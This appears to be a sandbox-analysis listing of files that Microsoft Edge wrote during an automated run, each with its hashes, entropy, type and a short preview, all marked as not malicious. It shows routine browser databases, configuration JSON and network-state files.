SHA-512:	E0DB381A30B8B53AAE62E417F70494B3C52B86A17F7DE6AAEEF9BB4539A6C511E93D0891E646A28BE4BE992FB85157F83CC08E2966FB3D3E387740CF7E866035
Malicious:	false
Preview:	2024/12/12-10:50:04.182 18dc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/12/12-10:50:04.184 18dc Recovering log #3.2024/12/12-10:50:04.200 18dc Level-0 table #3: started.2024/12/12-10:50:04.239 18dc Level-0 table #3: 600018 bytes OK.2024/12/12-10:50:04.247 18dc Delete type=0 #3.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354113660386464
Encrypted:	false
SSDEEP:	6144:5A/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:5FdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	BA4F67AD357AFD3A759841DB21B86EDD
SHA1:	181B1055D74647BEF32484CAE947DB6B72E99C31
SHA-256:	64F2787E5BF05338BF98F527F0DC90A8C4660FA0C608E867A4EE1E93531F97B3
SHA-512:	17D271986B18932D4498FF82EDA3FCB931C4D1FB8D315ABD14938C3C9156BC7834317EB0FF92BE66145C9A4781E2165DC013AB684A72C8B2DCAC6DF2DFD24D72
Malicious:	false
Preview:	...m.................DB_VERSION.1\<.;q...............&QUERY_TIMESTAMP:domains_config_gz2...13378492027522237..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.152707185326727
Encrypted:	false
SSDEEP:	6:758Eu1CHhJ23oH+Tcwtk2WwnvB2KLlp580FGVOq2PCHhJ23oH+Tcwtk2WwnvIFUv:7bKYebkxwnvFLTHFGAvBYebkxwnQFUv
MD5:	E8332D4E6D6F1425D5E62313C775D8AB
SHA1:	0D7D76ED9705A0E0DAB66FECDBC54803EFA44E97
SHA-256:	3EF5D12E8F0CC6EEF6D44923323D0D1F2CD970DB08EE25AE4F0E0E7D7D7BCF59
SHA-512:	E36F37DBACA5E951441231997FCDB9BC472D9EB8B827ABD8E3CF5C960880FCE2ED2CDCF4FFA8A95AAC73145BE7DBED06606629DB91099E222B023918771E90C4
Malicious:	false
Preview:	2024/12/12-10:47:04.546 20c0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/12/12-10:47:04.562 20c0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324612238110082
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rj:C1gAg1zfv7
MD5:	DB0D4CCEE844488BB5CE4821199C32D0
SHA1:	12D240F9E9740B73554625912F291EBDAE1E9FB0
SHA-256:	73B1B5EA00A7F93F552C975C37EA47C3126FDED0B002E7F85523726603508980
SHA-512:	BDB60071B560F9091077F13CD9CDA66BBC14F668AB7A6A48554E8335371629B647EBDEF74BD987A7B193DFF6217DD2431800BC27C77997E1F8F13FCEB5CB58C8
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\539ca925-eadd-4fdd-93ab-cf4c8ab88eb5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\606c05f4-9bb6-42b7-bade-4caff7a29a1c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\693b9fac-7ab8-4c2c-90fb-cdec7e4e8113.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8314d887-e83b-4a7e-aaf7-3553fb860120.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8ca318b1-9904-4b9c-94a8-aa74f288d2b4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	5.30631082773751
Encrypted:	false
SSDEEP:	48:YcCpfgCzswts2fc7RsrleeIkEsuCgHgYhbc:F2fHt2kkeIkiTBh4
MD5:	8501F3FA381EF1C57B592652901BBA54
SHA1:	476DDFD57FC837A64BB1DEC4567187CBB3E5E322
SHA-256:	1EDF352E4C8CE3EB2DB034C1C4179299C5A58BE0D30256B66BA5036406365BA7
SHA-512:	E164CCA84DBD600E941C307548162CA76340C7BFDD49F3DAA49511E9A6D5FD3DA747B835126A56C44263DC746CBDF11F2DF3B00162961AF164A7C4F9FFF00008
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381084022995005","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381084026295819","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9fcf533d-7852-4fa6-aa4b-475f68a58e0a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1747
Entropy (8bit):	5.305276691897633
Encrypted:	false
SSDEEP:	48:YcCpfgCzswts2fc7RsrleeIkEsuCgHkYhbc:F2fHt2kkeIkiT1h4
MD5:	B920A5D4665BC802B792BAC567980F42
SHA1:	D7AC678FD479517FA38BDB2FC2A9D005CCCD7C4E
SHA-256:	12DC30EB74154216D6220C6854E4ACD819B0E7373A9FB030B534387B0F038A2B
SHA-512:	5AFC04C9D6F958B0E78553A993AAE72BB89D3AA81C0B9236583DEEF316FC58BE66F9A47024DD5224BB586443D23CCE69F6882CEDE6009EA42FDD4D08D89275E0
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381084022995005","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381084026295819","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL2F6dXJlZWRnZS5uZXQAAAA=",false],"server":"https://edgeassetservice.azureedge.net","supports_spdy":true},{"alternative_service":[{"advertised_a

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF41375.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF53c35.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF663dd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1452
Entropy (8bit):	5.293818359480967
Encrypted:	false
SSDEEP:	24:YcCp/WRdsZZVMdmwC5mWRdsHPyZFRudFGRRds9JZFGJ/I3w6C1E6maPsQYhbS7n7:YcCpWsPuCvs+fcKsFgCgakhYhbc
MD5:	B0733CD56C6DAEC03253582405A3C607
SHA1:	EBFFEB5D568DFC774355F3329BB1DD69A06D9D17
SHA-256:	BB4556F6A892CD298278B5D16EB81F2B815018687B11F789213CE95806E5A11C
SHA-512:	F6F90123E0314680B23966126634511E879E761A8094AB17BD3B0F3D58F09DEB8780519C56F319B4C3FB723FE3148453E6B4A14338D052F3518D809761FD2344
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559442531603","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559443198826","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343559451800699","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server"

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF2ebdd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
